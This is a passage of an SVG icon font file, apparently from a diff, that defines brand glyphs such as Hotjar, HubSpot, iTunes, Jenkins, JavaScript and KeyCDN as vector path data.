-13.5 -28.2002 -15 -34.3008c-0.200195 -0.899414 -0.299805 -1.7998 -0.299805 -2.69922c0 -1.80078 0.399414 -3.10059 1.2998 -3.7002c1.59961 -1.2002 4.2002 -1.2998 6.09961 -0.299805c1.7998 1 3.10059 2.59961 4 4.5 +c1 2.19922 0.200195 0.699219 5.2002 14c5 13.3994 2.90039 7.7998 9.09961 22c1.90039 4.2998 4.2002 9.5 8.5 15.5c2.5 3.39941 5.5 7 8.7002 9.69922c5.7002 4.7002 11.7002 5.40039 11.7002 2.5c0 -2.19922 -3.2998 -6.39941 -4.7002 -8.09961 +c-5.2998 -6.7002 -14.3994 -16.2998 -14.3994 -21.5c0 -9.5 12 -8 17.3994 -5.7002c7.2998 3.2002 13.9004 9.60059 19.6006 14.7998l-10.9004 -94.5996c-1.90039 -4.90039 -39.0996 -17.0996 -88.2002 -17.0996c-49 0 -86.2002 12.0996 -88.2002 17.0996l-7.59961 79.5996 +c2.09961 -1.5 4.2998 -2.39941 7.7002 -2.39941c7.39941 0 16.0996 6.7002 21.5 11.7998c2.2998 2.2002 4.39941 4.40039 6.39941 6.59961c-1 -3 -7.09961 -22 -7.2998 -25.1992c-0.0996094 -1 -0.200195 -4.90039 0.799805 -6.30078 +c0.5 -0.799805 1.40039 -1.19922 2.60059 -1.19922c2.89941 0 5.59961 4.69922 6.2998 7.5c0 0 1.7998 6.2998 7.59961 25.7998c6.30078 21.0996 10 24.5 10 34.7002c0 5.59961 -7.2998 6.7998 -9.89941 0l-5.2002 -15.5c-2.2002 -4.5 -8 -11.5 -12.5 -16 +c-3.5 -3.5 -10.7998 -10.1006 -15.7998 -10.1006c-2.40039 0 -3.90039 1.40039 -4.90039 3.60059c-2.2998 5.2998 -0.899414 14.2998 0.600586 19.8994c2.59961 9.7002 6.89941 19.4004 12 28.2002c4.19922 7.2998 10.1992 15.7002 17.0996 20.7002 +c6.59961 4.7998 12.7998 4.5 16.9004 -2.7998c1.5 -2.7002 3.7998 -7.30078 6.7998 -7.30078c2.5 0 5.7002 2.60059 4.5 9.10059c-0.5 2.5 -4.90039 8.7998 -10.1006 11.7998c-6 3.59961 -12.3994 3.59961 -18.6992 0.900391 +c-19.2002 -8.2002 -34.1006 -35.2002 -40 -55.2002zM243.5 318.7c0 -21 -231.2 -21 -231.2 0c0 8.7998 51.7998 15.8994 115.601 15.8994c9 0 17.7998 -0.0996094 26.2998 -0.399414l12.5996 48.7002l61.2998 64.5c1.40039 1.39941 5.80078 0.199219 9.90039 -3.5 +c4.09961 -3.7002 6.59961 -7.90039 5.2998 -9.30078l-0.0996094 -0.0996094l-57.2998 -60.5l-10 -40.7002c39.8994 -2.59961 67.5996 -8.09961 67.5996 -14.5996zM174.1 314.1c0 0.800781 -0.899414 1.5 -2.5 2.10059l-0.199219 -0.799805 +c0 -1.30078 -5 -2.40039 -11.1006 -2.40039c-6.09961 0 -11.0996 1.09961 -11.0996 2.40039c0 0.0996094 0 0.199219 0.0996094 0.299805l0.200195 0.700195c-1.7998 -0.600586 -3 -1.40039 -3 -2.30078c0 -2.09961 6.2002 -3.69922 13.7002 -3.69922 +c7.7002 -0.100586 13.8994 1.59961 13.8994 3.69922z" /> + <glyph glyph-name="hacker-news-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM21.2002 218.8h-0.200195c0.0996094 0.100586 0.200195 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.0996094 -0.400391z +M239.2 164.9l80.7998 155.1h-34.7998c-54.7998 -101.2 -48.2998 -98.5996 -60.6006 -125.6c-10.0996 24.3994 -6.7998 27.2998 -59.2998 125.6h-37.2998l79.7998 -153.3v-102.7h31.4004v100.9z" /> + <glyph glyph-name="hire-a-helper" unicode="" horiz-adv-x="512" +d="M443.1 448c3.90039 -36.4004 32.5 -65.7998 68.9004 -71.7002v-370.5c-35.4004 -4 -64.9004 -33.3994 -67.9004 -69.7998h-372.199c-5.90039 36.4004 -34.5 63.9004 -71.9004 68.7998v371.5c37.4004 3.90039 67.9004 34.4004 71.9004 71.7002h371.199zM406.1 43.0996 +c7.80078 0 5.80078 10.8008 0 10.8008c-10.2998 3.39941 -13.5 3.59961 -21.6992 13.7998c-7.80078 12.8994 -7.90039 44.3994 -7.90039 127.8v101.2c0 22.0996 12.2002 28.2998 28.5996 32.3994c8.90039 2.2002 3.90039 11.8008 -1 11.8008 +c-36.5 0 -20.5996 -2 -57.0996 -2c-32.7002 0 -16.5 2 -49.2002 2c-3.2998 0 -8.5 -8.30078 -1 -10.8008c4.90039 -1.59961 27.6006 -3.69922 27.6006 -39.2998c0 -45.5996 0.199219 -55.7998 -1 -68.7998c0 -1.2998 -2.30078 -12.7998 -12.8008 -12.7998h-109.199 +c-10.5 0 -12.8008 11.5 -12.8008 12.7998c-1.19922 13 -1 23.2002 -1 68.7998c0 35.6006 22.7002 37.7002 27.6006 39.2998c7.5 2.5 2.2998 10.8008 -1 10.8008c-32.7002 0 -16.5 -2 -49.2002 -2c-36.5 0 -20.5996 2 -57.0996 2c-5 0 -9.80078 -9.60059 -1 -11.8008 +c16.3994 -4.09961 28.5996 -10.1992 28.5996 -32.3994v-101.2c0 -83.4004 -0.200195 -114.9 -7.90039 -127.8c-8.19922 -10.2998 -11.5 -10.4004 -21.6992 -13.7998c-5.80078 0 -7.90039 -10.8008 0 -10.8008c36.2998 0 18.7998 2 55.0996 2c35.7998 0 21 -2 56.0996 -2 +c6 0 4.90039 8.2002 0 9.80078c-22.7998 7.59961 -22.8994 10.2998 -24.5996 12.7998c-10.4004 15.5996 -5.90039 83 -5.90039 113c0 5.2998 6.40039 12.7998 13.8008 12.7998h111.199c7.40039 0 13.8008 -7.5 13.8008 -12.7998c0 -30 4.5 -97.4004 -5.90039 -113 +c-1.7002 -2.60059 -1.7998 -5.2002 -24.5996 -12.7998c-4.90039 -1.60059 -5.90039 -9.80078 0 -9.80078c35.0996 0 20.2998 2 56.0996 2c36.2998 0 18.7998 -2 55.0996 -2z" /> + <glyph glyph-name="hotjar" unicode="" +d="M414.9 286.5c30 -53 41.7998 -121.6 26.2998 -180.9c-14.7002 -56.6992 -68.2998 -120.3 -148.8 -145.6c54.5 76.9004 43.8994 200.1 -27.1006 215.5c54.2002 -93.9004 -53.7002 -180.3 -110.8 -93.9004c-2.5 -7.19922 -25.0996 -74.5 4.09961 -129.6 +c-61.0996 9.09961 -117.8 33.5 -144.6 93.4004c-35 78.1992 -2.7002 149.8 79 204.899c129.2 87.2998 28.0996 197.7 28.0996 197.7s219.101 -29 293.801 -161.5z" /> + <glyph glyph-name="hubspot" unicode="" horiz-adv-x="512" +d="M267.4 236.4l-163.2 114.699c-7.90039 -4.69922 -17 -7.59961 -26.7998 -7.59961c-28.8008 0 -52.2002 23.4004 -52.2002 52.2998c0 28.7998 23.3994 52.2002 52.2002 52.2002c28.8994 0 52.3994 -23.4004 52.3994 -52.2002c0 -4.7998 -0.799805 -9.39941 -2 -13.7998 +c51.4004 -39.0996 141.3 -103.9 168.9 -124.8c13.0996 6.89941 27.5 11.5 42.7002 13.5996v61.2002c-17.5 7.40039 -28.2002 23.7998 -28.2002 42.9004c0 26.0996 20.5996 47.8994 46.7002 47.8994c26.0996 0 47 -21.7998 47 -47.8994 +c0 -19.1006 -10.7002 -35.5 -28.2002 -42.9004v-61.5996c62.5 -9.5 110.2 -63.5 110.2 -128.7c0 -71.9004 -58.1006 -130.2 -130 -130.2c-29.9004 0 -57.3008 10 -79.3008 26.9004l-50 -50.2002c1.30078 -3.90039 1.90039 -7.90039 1.90039 -12.1006 +c0 -10.6992 -4.2002 -20.8994 -11.7998 -28.5c-7.7002 -7.69922 -17.7998 -11.5996 -28.6006 -11.5996c-10.6992 0 -20.8994 4 -28.5 11.5996c-7.59961 7.60059 -11.7998 17.7002 -11.7998 28.5c0 10.8008 4.2002 21 11.7998 28.6006 +c7.60059 7.59961 17.7002 11.7998 28.5 11.7998c4.90039 0 9.60059 -0.900391 14 -2.5l49.5 49.7998c-16.2998 21.7002 -26 48.7002 -26 78c0 37.2998 15.7002 70.9004 40.8008 94.6006zM356.9 72.7998c38.0996 0 69 30.9004 69 69c0 38.1006 -30.9004 69 -69 69 +c-38.1006 0 -69 -30.8994 -69 -69c0 -38.0996 30.8994 -69 69 -69z" /> + <glyph glyph-name="itunes" unicode="" +d="M223.6 367.7c94.5 0 171.2 -76.7002 171.2 -171.3c0 -94.5 -76.5996 -171.2 -171.2 -171.2c-94.5996 0 -171.1 76.7998 -171.1 171.3s76.5 171.2 171.1 171.2zM303 127.7c1.40039 6.2002 0.900391 -3 1 167.6c0 5.7002 -3.2998 9.10059 -9 8.7002 +c-1.7998 0 -14.0996 -2.40039 -115.1 -21.4004c-0.900391 0 -4.60059 -1 -6.7002 -2.69922c-2 -1.60059 -3.10059 -3.80078 -3.5 -6.40039c-1.7002 -6.7002 2.39941 -128 -2.60059 -133.7c-2.09961 -2.5 -4.69922 -3.2002 -7.69922 -3.7002 +c-17.7002 -3.19922 -29.6006 -4.7998 -38 -12.7998c-14.5 -14.2002 -7 -38.8994 14.3994 -42.8994c8 -1.40039 23.1006 0.599609 31.4004 5.19922c7.2998 3.80078 12.7998 10.6006 14.8994 19.6006c1.7002 7.7002 1.2002 2.39941 1.2002 118.5 +c0 5.7002 1.7002 7.2002 6.7002 8.2998c0 0 87.9004 16.4004 91.9004 17.0996c5.69922 1 8.39941 -0.5 8.39941 -6.09961c0 -78.7998 1 -77.2002 -2.2002 -80.7998c-2.09961 -2.5 -4.69922 -3.2002 -7.69922 -3.7002c-17.7002 -3.2002 -29.6006 -4.7998 -38 -12.7998 +c-10.6006 -10.4004 -10.4004 -26.7998 1.39941 -36.7998c9.7002 -7.80078 19.7998 -7.2002 31.9004 -5c13.7998 2.59961 24.0996 10.1992 27.2998 23.7998zM345.2 416c56.8994 0 102.8 -45.9004 102.8 -102.8v-242.4c0 -56.8994 -45.7998 -102.8 -102.8 -102.8h-242.4 +c-56.8994 0 -102.8 45.9004 -102.8 102.8v242.4c0 56.8994 45.9004 102.8 102.8 102.8h242.4zM223.6 4c106.301 0 192.5 86.2002 192.5 192.5s-86.1992 192.5 -192.5 192.5c-106.3 0 -192.5 -86.2002 -192.5 -192.5s86.2002 -192.5 192.5 -192.5z" /> + <glyph glyph-name="itunes-note" unicode="" horiz-adv-x="384" +d="M381.9 59.7998c-6.40039 -27.3994 -27.2002 -42.7998 -55.1006 -48c-24.5 -4.5 -44.8994 -5.59961 -64.5 10.2002c-23.8994 20.0996 -24.2002 53.4004 -2.7002 74.4004c17 16.1992 40.9004 19.5 76.8008 25.7998c6 1.09961 11.1992 2.5 15.5996 7.39941 +c6.40039 7.2002 4.40039 4.10059 4.40039 163.2c0 11.2002 -5.5 14.2998 -17 12.2998c-8.2002 -1.39941 -185.7 -34.5996 -185.7 -34.5996c-10.2002 -2.2002 -13.4004 -5.2002 -13.4004 -16.7002c0 -234.7 1.10059 -223.899 -2.5 -239.5 +c-4.2002 -18.2002 -15.3994 -31.8994 -30.2002 -39.5c-16.7998 -9.2998 -47.1992 -13.3994 -63.3994 -10.3994c-43.2002 8.09961 -58.4004 58 -29.1006 86.5996c17 16.2002 40.9004 19.5 76.8008 25.7998c6 1.10059 11.1992 2.5 15.5996 7.40039 +c10.0996 11.5 1.7998 256.6 5.2002 270.2c0.799805 5.19922 3 9.59961 7.09961 12.8994c4.2002 3.5 11.7998 5.5 13.4004 5.5c204 38.2002 228.899 43.1006 232.399 43.1006c11.5 0.799805 18.1006 -6 18.1006 -17.6006c0.200195 -344.5 1.09961 -326 -1.7998 -338.5z" /> + <glyph glyph-name="jenkins" unicode="" horiz-adv-x="512" +d="M487.1 23c1.5 -11.9004 -5.2998 -28.2998 -8.69922 -39.7002c-4.90039 -16.2998 -9.7002 -31.8994 -14.6006 -47.2002h-422c-0.700195 1.90039 -1.39941 4 -2.09961 6c-4.60059 14.2002 -12.6006 31.7002 -14.7002 45.8008 +c-3.09961 20.8994 16.5996 22.0996 29.2002 31.0996c19.5 14 34.7998 21.7998 55.8994 34.2998c6.30078 3.7998 25.1006 13.2002 27.3008 17.6006c4.2998 8.69922 -7.30078 20.8994 -10.4004 27.6992c-4.90039 10.7002 -7.5 19.8008 -8.2002 30.4004 +c-17.7002 2.7998 -31.0996 13.2998 -39.2002 25.2002c-13.3994 19.7002 -22.6992 56 -11.0996 83.7002c0.900391 2.19922 5.40039 6.5 6.09961 9.7998c1.40039 6.59961 -2.5 15.3994 -2.69922 22.3994c-1.2002 36 6.09961 67 30.2998 77.8008 +c9.7998 39.0996 45 52.1992 78.0996 71.5996c12.2998 7.2998 26 11.9004 40.1006 17.0996c50.5 18.7002 128.1 15.1006 170.1 -16.5996c17.7998 -13.5 46.2002 -41.9004 56.4004 -62.5c26.8994 -54.2998 25 -145.1 6.19922 -211.2 +c-2.5 -8.89941 -6.19922 -21.8994 -11.2998 -32.5996c-3.59961 -7.40039 -14.7002 -22.2998 -13.2998 -28.9004c1.40039 -6.7998 25.2998 -24.8994 30.4004 -29.8994c9.19922 -8.80078 26.7998 -20.7002 28.1992 -31.9004zM205.9 414.3 +c-33.2002 -9.39941 -75.7002 -33.5 -89.3008 -63.3994c10.6006 1.5 17.9004 6.7998 28.3008 7.5c3.89941 0.299805 9.09961 -1.60059 13.5996 -0.5c9 2.2998 16.5996 22.5 23.4004 30c6.59961 7.39941 14.5996 10.5 20 17.1992c3.5 1.7002 8.69922 1.60059 8.89941 6.80078 +c-1.5 1.69922 -3.09961 2.89941 -4.89941 2.39941zM101.1 320.7c-14.6992 -16.1006 -11.5996 -46.2998 -9.7998 -67.7998c26.5 16.6992 61.6006 -1.30078 61.2998 -29.6006c12.6006 0.299805 4.7002 15.7998 2.40039 25.7002c-7.5 32.5996 12.5996 67.9004 0.900391 97.5996 +c-22.7002 -1.7998 -41.3008 -11 -54.8008 -25.8994zM137.8 120.5c4.90039 -20 15.7002 -46 26.2998 -61.4004c13.6006 -19.3994 40.1006 -22.2998 68.7002 -24.1992c5.10059 11 23.9004 10.0996 36.2002 7.19922c-14.7002 5.80078 -28.4004 19.9004 -39.7002 32.4004 +c-13 14.2998 -26.0996 29.7002 -26.7998 48.4004c24.5 -34 44.7998 -63.8008 89.5 -78.8008c33.7998 -11.2998 73.2002 5.2002 99.2002 23.4004c10.7998 7.59961 17.2002 19.5996 24.8994 30.5996c28.7002 41.2002 42 100.101 39.1006 157.101 +c-1.2002 23.5 -1.10059 47 -9 62.7998c-8.2998 16.5996 -36.2002 31.2998 -52.5 16.4004c-3 16.0996 13.5996 26.0996 33.0996 20.2998c-13.8994 18 -28.5996 39.5996 -48.2998 50.7002c-34.4004 19.5 -92.7002 34.0996 -129.3 15.7998 +c-29.6006 -14.7002 -69.5 -39.1006 -83.1006 -70c12.7002 -29.7998 -3.7998 -57.1006 -4.7998 -87.4004c-0.599609 -16.0996 7.60059 -30.2002 8.2002 -47.7002c-4.40039 -7.19922 -17.7002 -8.09961 -26.9004 -7.59961c-3.09961 15.5 -8.5 32.9004 -24.5 34.7002 +c-22.5 2.39941 -39.0996 -16.2998 -40.0996 -35.7998c-1.2002 -23 17.7002 -61 44.4004 -58.4004c10.2998 1.09961 12.7998 11.4004 24.0996 11.2998c6.09961 -12.2002 -9.40039 -16 -11 -24.7002c-0.400391 -2.19922 1.2998 -11 2.2998 -15.0996zM359.8 -3.59961 +c-1.59961 -4.40039 0.299805 -10.4004 -0.599609 -16.5c14.8994 -4.2002 31.8994 -6.40039 50.7002 -7c3.69922 4.7998 4.89941 13.7998 4.5 22.7998c-0.600586 10.7998 -3.40039 33.0996 -10.1006 37c-14.0996 8.2002 -39 -16.5 -49.5996 -20.2998 +c1.2002 -3.40039 3.09961 -6 3.2002 -10.2002c6.2998 1.5 13.8994 0.5 19.2998 -2.2002c-6.2998 -0.700195 -13.2998 -0.599609 -17.4004 -3.59961zM342.6 16.4004c7.60059 5.5 14.3008 12 22.2002 17.0996c-18.2002 -1.59961 -41 -12.9004 -59 -4.90039 +c-0.0996094 -0.899414 -1.2998 -0.599609 -1.5 -1.39941c12.2998 -9.60059 21.5 -11.6006 38.2998 -10.7998zM330.5 -16.7998c26.9004 -8.40039 22.2002 36.7998 -2.7998 20.2002c-0.700195 -8.2002 1.2002 -10.8008 2.7998 -20.2002zM226 9.40039 +c0 6.19922 3.59961 12 2.7998 16.3994c-13.7998 2.40039 -31.8994 0.799805 -41.2998 7.2998c-9.59961 -9.69922 26.9004 -23 38.5 -23.6992zM57.7002 -49.0996v-0.100586h180.7c-0.800781 2.5 -1.5 4.90039 -2.2002 7.2002c-4.7998 15.2998 -7.5 26.7002 -8.7002 35.5 +c-19.2002 9.2002 -39.7002 18.5 -56.2002 30.2002c-3 2.2002 -23.3994 28.7002 -26.2002 27.5996c-36.8994 -14.5996 -71.3994 -39.7002 -102.199 -63.5c5.59961 -11.7998 10.5 -24.2002 14.7998 -36.8994zM298.3 -54.7998h-0.799805 +c0.299805 0.200195 0.5 0.399414 0.799805 0.5v-0.5zM305.8 -49.0996h9.60059c-1 1.5 -2.10059 2.89941 -3.2002 4.2998c-2.10059 -1.5 -4.2998 -2.90039 -6.40039 -4.2998zM320.9 -24.4004c0.0996094 3.60059 0.299805 7.2002 0.399414 10.6006 +c-6.5 3.2002 -14 5.5 -23.5 5.89941c6.5 3.30078 15.9004 3.2002 21.7998 7.10059c0.100586 1.5 0.100586 2.89941 0.200195 4.2998c-10.7998 0.900391 -14.7998 5.59961 -21.8994 9.5c-11.6006 6.40039 -29 13.2002 -43.9004 16.0996 +c-18.5 3.60059 -16.7998 -25.1992 -16 -42.3994c0.700195 -13.6006 7.7002 -28 10.7998 -37c1.5 -4.2002 1.7998 -8.7002 5.40039 -9.5c6.39941 -1.5 27.3994 6.89941 33.3994 10.2002c12.7002 6.89941 22.5 17.8994 33.3008 25.1992zM374.3 -49.0996l0.600586 12.5996 +c-11.2002 -0.700195 -17.5 10.2002 -25.4004 11c-6.90039 0.700195 -12.7002 -7.90039 -21.7002 -4.2002c-2 -2.2002 -3.89941 -4.7002 -6 -6.89941c3.2002 -3.90039 6.10059 -8.10059 8.90039 -12.5h17.3994c0.200195 3.19922 2.80078 5.7998 6.10059 5.7998 +s6 -2.60059 6.09961 -5.7998h14zM383 -49.0996h36.2998c-6.7002 10.1992 -20.0996 18.7998 -35.7002 11.5c-0.199219 -3.7002 -0.399414 -7.5 -0.599609 -11.5zM466.4 -12.0996c1.19922 6.19922 4.59961 19.5996 3.7998 25.0996 +c-1.40039 9.7998 -14.6006 17.0996 -21.4004 23.0996c-12.3994 11.1006 -20.2002 21 -33.2002 31.4004c-5.19922 -7.7998 -16.5 -13 -20.7998 -19.2998c30.7002 14.8994 36.2998 -55.7998 24.2002 -78.5c1.90039 -6.7998 8.2998 -9.40039 10.9004 -15.5 +c-0.700195 -1.10059 -1.30078 -2.2002 -1.90039 -3.2998h27.9004c0.199219 0 0.399414 0 0.599609 -0.100586c4.09961 13.1006 7.59961 25.9004 9.90039 37.1006zM222.2 317.5c5.39941 14.9004 27.2002 34.7002 45 32c7.7002 -1.2002 18 -8.2002 12.2002 -17.7002 +c-30.2002 7 -45.2002 -12.5996 -54.4004 -33.0996c-8.09961 2 -4.90039 13.0996 -2.7998 18.7998zM406.3 254.4c8.2002 3.59961 22.4004 0.699219 29.6006 5.2998c-4.2002 11.5 -10.3008 21.3994 -9.30078 37.7002c0.5 0 1 0 1.40039 -0.100586 +c6.7998 -14.2002 12.7002 -29.2002 21.4004 -41.7002c-5.7002 -13.5 -43.6006 -25.3994 -43.1006 -1.19922zM309.5 251.7c-6.7998 10.8994 -19 32.5 -14.5 45.2998c6.5 -11.9004 8.59961 -24.4004 17.7998 -33.2998c4.10059 -4 12.2002 -9 8.2002 -20.2002 +c-0.900391 -2.7002 -7.7998 -8.59961 -11.7002 -9.7002c-14.3994 -4.2998 -47.8994 -0.899414 -36.5996 17.1006c11.8994 -0.700195 27.8994 -7.80078 36.7998 0.799805zM336.8 181.7c3.7998 -6.60059 1.40039 -18.7002 12.1006 -20.6006 +c20.1992 -3.39941 43.5996 12.3008 58.0996 17.8008c9 15.1992 -0.799805 20.6992 -8.90039 30.5c-16.5996 20 -38.7998 44.7998 -38 74.6992c6.7002 4.90039 7.30078 -7.39941 8.2002 -9.69922c8.7002 -20.3008 30.4004 -46.2002 46.2998 -63.5 +c3.90039 -4.30078 10.3008 -8.40039 11 -11.2002c2.10059 -8.2002 -5.39941 -18 -4.5 -23.5c-21.6992 -13.9004 -45.7998 -29.1006 -81.3994 -25.6006c-7.40039 6.7002 -10.2998 21.4004 -2.90039 31.1006zM135.5 190.9c-6.7998 3.89941 -8.40039 21 -16.4004 21.3994 +c-11.3994 0.700195 -9.2998 -22.2002 -9.2998 -35.5c-7.7998 7.10059 -9.2002 29.1006 -3.5 40.2998c-6.59961 3.2002 -9.5 -3.59961 -13.0996 -5.89941c4.7002 34.0996 49.7998 15.7998 42.2998 -20.2998zM435.1 162.1c-10.0996 -19.1992 -24.3994 -40.3994 -54 -41 +c-0.599609 6.2002 -1.09961 15.6006 0 19.4004c22.7002 2.2002 36.6006 13.7002 54 21.5996zM293.2 149.7c18.8994 -9.90039 53.5996 -11 79.2998 -10.2002c1.40039 -5.59961 1.2998 -12.5996 1.40039 -19.4004c-33 -1.7998 -72 6.40039 -80.7002 29.6006zM385.4 103 +c-1.7002 -4.2998 -5.30078 -9.2998 -9.80078 -11.0996c-12.0996 -4.90039 -45.5996 -8.7002 -62.3994 0.299805c-10.7002 5.7002 -17.5 18.5 -23.4004 26c-2.7998 3.59961 -16.8994 12.8994 -0.200195 12.8994c13.1006 -32.6992 58 -29 95.8008 -28.0996z" /> + <glyph glyph-name="joget" unicode="" horiz-adv-x="496" +d="M378.1 403c116.601 -71.7998 152.9 -224.6 81 -341.2c-71.8994 -116.5 -224.6 -152.8 -341.199 -80.8994c-116.601 71.8994 -152.9 224.6 -81 341.199c46.8994 76 128.1 117.9 211.3 117.9c44.3994 0 89.3994 -11.9004 129.899 -37zM429.9 79.7998 +c5.2998 8.7002 9.89941 17.6006 13.8994 26.6006c-32.0996 -1.10059 -157.1 1.5 -208.8 -17.6006c-58.4004 -21.5 -36.9004 -53.3994 -31.2002 -67.0996c3.7998 -9.10059 14.7002 -28.7998 23.7002 -42.4004c6.7998 -0.599609 13.5996 -1 20.4004 -1 +c71.5996 0 141.6 36 182 101.5zM229.1 166.1c51 -1.2998 205.4 -4.39941 230.301 -4.89941c11.8994 81.7998 -24.5 166.6 -99.3008 212.7c-100.5 61.8994 -232.1 30.6992 -294 -69.8008c-28.5996 -46.3994 -37.2998 -99.3994 -28.5 -149.1 +c11 40.9004 49.7002 131.5 178.301 140.2c50.8994 4 41.5 -19.2002 23.5996 -29.7002c-17.7998 -10.5 -45.7002 -23.7998 -68.9004 -51.2002c-23.1992 -27.3994 3 -46.7998 58.5 -48.2002zM412.9 220.9c22.6992 -6 19.0996 -15.5 19.0996 -15.5l-46.5 -23.4004 +l-169.5 -1.59961s33.7998 10.7998 65.2998 31.2998c26 16.8994 49.7002 35.5996 67.5 35.5996c3.7002 0 7.2002 -0.899414 10.4004 -2.7002c18.5 -10.5996 -2.90039 -18.1992 -13.4004 -24.5996s-50.7002 -34.5 -50.7002 -34.5s1.40039 -7.59961 31.1006 8.2002 +c29.7002 15.8994 64 33.2002 86.7002 27.2002z" /> + <glyph glyph-name="js" unicode="" +d="M0 416h448v-448h-448v448zM243.8 66.5996v143.7h-42.0996v-143.1c0 -21.1006 -8.7998 -26.5 -22.6006 -26.5c-14.5 0 -20.5 9.89941 -27.0996 21.5996l-34.2998 -20.7002c10 -21.0996 29.5 -38.5 63.2002 -38.5c37.2998 0 62.8994 19.9004 62.8994 63.5zM343.4 3.09961 +c39.8994 0 69.6992 20.8008 69.6992 58.6006c0 35.2002 -20.0996 50.8994 -55.8994 66.2002l-10.5 4.5c-18.1006 7.89941 -25.9004 13 -25.9004 25.5996c0 10.2002 7.7998 18 20.1006 18c12.0996 0 19.8994 -5.09961 27.0996 -18l32.7998 21 +c-13.7998 24.4004 -33 33.7002 -59.7998 33.7002c-37.5 0 -61.5996 -24 -61.5996 -55.6006c0 -34.2998 20.0996 -50.5996 50.5 -63.5l10.5 -4.5c19.2998 -8.5 30.6992 -13.5996 30.6992 -28c0 -12.0996 -11.1992 -20.7998 -28.5996 -20.7998 +c-20.7002 0 -32.5 10.9004 -41.5 25.6006l-34.2998 -19.8008c12.2998 -24.3994 37.5996 -43 76.7002 -43z" /> + <glyph glyph-name="js-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM243.8 66.5996v143.7h-42.0996v-143.1c0 -21.1006 -8.7998 -26.5 -22.6006 -26.5c-14.5 0 -20.5 9.89941 -27.0996 21.5996 +l-34.2998 -20.7002c10 -21.0996 29.5 -38.5 63.2002 -38.5c37.2998 0 62.8994 19.9004 62.8994 63.5zM343.4 3.09961c39.8994 0 69.6992 20.8008 69.6992 58.6006c0 35.2002 -20.0996 50.8994 -55.8994 66.2002l-10.5 4.5c-18.1006 7.89941 -25.9004 13 -25.9004 25.5996 +c0 10.2002 7.7998 18 20.1006 18c12.0996 0 19.8994 -5.09961 27.0996 -18l32.7998 21c-13.7998 24.4004 -33 33.7002 -59.7998 33.7002c-37.5 0 -61.5996 -24 -61.5996 -55.6006c0 -34.2998 20.0996 -50.5996 50.5 -63.5l10.5 -4.5 +c19.2998 -8.5 30.6992 -13.5996 30.6992 -28c0 -12.0996 -11.1992 -20.7998 -28.5996 -20.7998c-20.7002 0 -32.5 10.9004 -41.5 25.6006l-34.2998 -19.8008c12.2998 -24.3994 37.5996 -43 76.7002 -43z" /> + <glyph glyph-name="keycdn" unicode="" horiz-adv-x="512" +d="M63.7998 38.7002l60.5 59c32.1006 -42.7998 71.1006 -66 126.601 -67.4004c30.5 -0.700195 60.2998 7 86.3994 22.4004c5.10059 -5.2998 18.5 -19.5 20.9004 -22c-32.2002 -20.7002 -69.6006 -31.1006 -108.101 -30.2002 +c-43.2998 1.09961 -84.5996 16.7002 -117.699 44.4004c0.299805 0.599609 -38.2002 -37.5 -38.6006 -37.9004c9.5 -29.7998 -13.0996 -62.4004 -46.2998 -62.4004c-26.7998 0.100586 -47.5 21.7002 -47.5 48.5c0 34.3008 33.0996 56.6006 63.7998 45.6006zM418.7 291.1 +c19.0996 -31.2998 29.5996 -67.3994 28.7002 -104c-1.10059 -44.7998 -19 -87.5 -48.6006 -121c0.299805 -0.299805 23.7998 -25.1992 24.1006 -25.5c9.59961 1.30078 19.1992 -2 25.8994 -9.09961c11.2998 -12 10.9004 -30.9004 -1.09961 -42.4004 +c-12 -11.2998 -30.9004 -10.8994 -42.4004 1.10059c-6.7002 7 -9.39941 16.7998 -7.59961 26.2998c-24.9004 26.5996 -44.4004 47.2002 -44.4004 47.2002c42.7002 34.0996 63.2998 79.5996 64.4004 124.2c0.700195 28.8994 -7.2002 57.1992 -21.1006 82.1992zM104 394.9 +c6.7002 -7 9.40039 -16.8008 7.59961 -26.3008l45.9004 -48.0996c-4.7002 -3.7998 -13.2998 -10.4004 -22.7998 -21.2998c-25.4004 -28.5 -39.6006 -64.7998 -40.7002 -102.9c-0.700195 -28.8994 6.09961 -57.2002 20 -82.3994l-22 -21.5 +c-19.2998 31.5996 -28.9004 67.6992 -27.7998 104.699c1 44.6006 18.2998 87.6006 47.5 121.101l-25.2998 26.3994c-9.60059 -1.2998 -19.2002 2 -25.9004 9.10059c-11.2998 12 -10.9004 30.8994 1.09961 42.3994c11.9004 11.2002 30.6006 10.9004 42.4004 -1.19922z +M464.9 440c26 0 47.0996 -22.4004 47.0996 -48.2998c0 -25.9004 -21.0996 -47.7002 -47.0996 -47.7002c-6.30078 -0.0996094 -14 1.09961 -15.9004 1.7998l-62.9004 -59.7002c-32.6992 43.6006 -76.6992 65.9004 -126.899 67.2002 +c-30.5 0.700195 -60.2998 -6.7998 -86.2002 -22.3994l-21.0996 22c32.1992 20.7998 69.5996 31.0996 108.1 30.1992c43.2998 -1.09961 84.5996 -16.6992 117.7 -44.5996l41.0996 38.5996c-1.5 4.7002 -2.2002 9.60059 -2.2002 14.5 +c-0.0996094 26.7002 22.3008 48.4004 48.3008 48.4004zM256.7 334.6c5.5 0 10.8994 -0.399414 16.3994 -1.09961c78.1006 -9.7998 133.4 -81.0996 123.801 -159.1c-9.80078 -78.1006 -81.1006 -133.4 -159.101 -123.801c-78.0996 9.80078 -133.399 81.1006 -123.8 159.2 +c9.2998 72.4004 70.0996 124.601 142.7 124.8zM197.7 215.2c0.599609 -22.7002 12.2002 -41.7998 32.3994 -52.2002l-11 -51.7002h73.7002l-11 51.7002c20.1006 10.9004 32.1006 29 32.4004 52.2002c-0.400391 32.7998 -25.7998 57.5 -58.2998 58.2998 +c-32.1006 -0.799805 -57.3008 -24.7998 -58.2002 -58.2998zM256 288z" /> + <glyph glyph-name="kickstarter" unicode="" +d="M400 -32h-352c-26.4004 0 -48 21.5996 -48 48v352c0 26.4004 21.5996 48 48 48h352c26.4004 0 48 -21.5996 48 -48v-352c0 -26.4004 -21.5996 -48 -48 -48zM199.6 269.5c0 30.7002 -17.5996 45.0996 -39.6992 45.0996c-25.8008 0 -40 -19.7998 -40 -44.5v-154.8 +c0 -25.7998 13.6992 -45.5996 40.5 -45.5996c21.5 0 39.1992 14 39.1992 45.5996v41.7998l60.6006 -75.6992c12.2998 -14.9004 